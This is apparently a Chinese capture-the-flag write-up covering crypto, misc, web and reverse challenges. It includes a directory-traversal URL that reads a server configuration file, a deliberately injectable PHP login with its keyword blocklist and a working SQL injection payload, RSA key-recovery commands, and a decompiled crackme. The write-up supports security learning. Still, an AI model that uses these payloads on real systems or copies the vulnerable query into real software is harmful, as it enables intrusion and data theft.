CRYPTO

1.Ordinary keyboard

变形后的凯撒加密 需要加上字符

2.RSA

工具地址( https://github.com/Ganapati/RsaCtfTool.git ) 首先利用 python RsaCtfTool.py –publickey pub.key(公钥) –private 解出私钥,将私钥保存为任意格式文件
然后使用 openssl rsautl -decrypt -in flag.enc(密文) -inkey 1.txt(私钥) -out 2.txt(输出答案) 解出 flag

MISC

1.qr

扫码直接提交答案即可

2.wireshark

需要分析登录信息,使用条件”http.request.method==POST”进行过滤得到答案

3.百里挑一

首先使用 wireshark 导出 http 文件,发现有一部分图片,使用脚本分理处图片中的 flag 发现只有一半。
使用 wireshark 筛选 ftp 数据。
avatar

发现文件使用的为被动模式传输,传输端口为 38x256+111 = 9839(传输文件使用的端口) 更改筛选条件为 tcp,端口为 9839 avatar

追踪 PSH,ACK 流,导出原始数据为 jpg 文件格式(其他流同上步骤)
avatar

使用脚本调用 exiftool 分析得到答案

#coding=UTF-8
import os

imgs = os.listdir('.')

imgs = [img for img in imgs if '.jpg' in img]

for img in imgs:
	exif_dict = dict()
	exif = os.popen('exiftool ' + img).read()
	exif = exif.split('\n')
	for ex in exif:
		ex = ex.split(':')
		if len(ex) == 2:
			exif_dict[ex[0].strip()] = ex[1].split()
	if 'XP Comment' in exif_dict:
		print(exif_dict['XP Comment'])

WEB

1.WebScan

利用目录遍历漏洞,访问http://101.71.29.5:10009/?act=about&file=/etc/httpd/conf/httpd.conf 即可获得 flag

2.刀塔

源码泄露:http://101.71.29.5:10010/www.zip

3.美男子

源码及注释


<?php
include 'global.php';

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if(is_array($StrValue))
    {
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrtValue)==1){   
        print "holy shit!";
        exit();
    }      
} 

$filter = "union|select|from|where|join|sleep|benchmark|,|\(|\)";

foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}


if(!isset($_POST['key1']) || !isset($_POST['key2'])) {
    print <<<DBAPP

<img src='image/img.jpg' />
<!--index.phps-->
DBAPP;
    die;
}



$query = mysql_query("SELECT * FROM tb_ctf WHERE key1 = '{$_POST['key1']}'"); 
if(mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['key2'] == $_POST['key2']) {
        print $flag;
    }else{
        print "Error!";
        }
}else{
    print "Error!";
}

 
 
$sql="SELECT * FROM interest WHERE key1 = 'key1=ads' || 1 group by key2 with rollup limit 1 offset 1 #'";#答案等效语句,#  ->   注释掉另一个'

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; 
#过滤了and、select、from、where、union、join、sleep、benchmark、等参数后使用查询语句查询数据库
$sql="SELECT * FROM interest WHERE key1 = '{$_POST['key1']}'";

传递参数:

key1=ads' || 1 group by key2 with rollup limit 1 offset 1 # & key2 =  

‘是对前面的’的封闭,然后利用||1 将这个条件变成 true 过 group by,with rollup 将 pw 归纳排序出来,用 limit offset 取出一条数据(题目判断有要求) 至于为啥 offset 2,这个是试出来的,其实我们根本不可能知道 with rollup 会总结归纳出多少条信息,offset 2 能过说明正确的 pwd 位于第三条信息

REVERSE

1.Mysterious

从 DialogBoxParamA 函数中定位处理函数

int __stdcall sub_401090(HWND hWnd, int a2, int a3, int a4)
{
  char v5; // [esp+50h] [ebp-310h]
  CHAR Text[4]; // [esp+154h] [ebp-20Ch]
  char v7; // [esp+159h] [ebp-207h]
  __int16 v8; // [esp+255h] [ebp-10Bh]
  char v9; // [esp+257h] [ebp-109h]
  int v10; // [esp+258h] [ebp-108h]
  CHAR String; // [esp+25Ch] [ebp-104h]
  char v12; // [esp+25Fh] [ebp-101h]
  char v13; // [esp+260h] [ebp-100h]
  char v14; // [esp+261h] [ebp-FFh]
 
  memset(&String, 0, 0x104u);
  v10 = 0;
  if ( a2 == 16 )
  {
    DestroyWindow(hWnd);
    PostQuitMessage(0);
  }
  else if ( a2 == 273 )
  {
    if ( a3 == 1000 )
    {
      GetDlgItemTextA(hWnd, 1002, &String, 260);
      strlen(&String);
      if ( strlen(&String) > 6 )
        ExitProcess(0);
      v10 = atoi(&String) + 1;
      if ( v10 == 123 && v12 == 120 && v14 == 122 && v13 == 121 )
      {
        strcpy(Text, "flag");
        memset(&v7, 0, 0xFCu);
        v8 = 0;
        v9 = 0;
        _itoa(v10, &v5, 10);
        strcat(Text, "{");
        strcat(Text, &v5);
        strcat(Text, "_");
        strcat(Text, "Buff3r_0v3rf|0w");
        strcat(Text, "}");
        MessageBoxA(0, Text, "well done", 0);
      }
      SetTimer(hWnd, 1u, 0x3E8u, TimerFunc);
    }
    if ( a3 == 1001 )
      KillTimer(hWnd, 1u);
  }
  return 0;
}

输入的字符不能超过 6 位 要为 6 位

if ( v10 == 123 && String[3] == 120 && String[5] == 122 && String[4] == 121 ) 

&String+1 = 123 => &String =122
String[3] => x
String[4] => y
String[5] => z

2.findKey

flag n0_Zu0_n0_die 思路待整理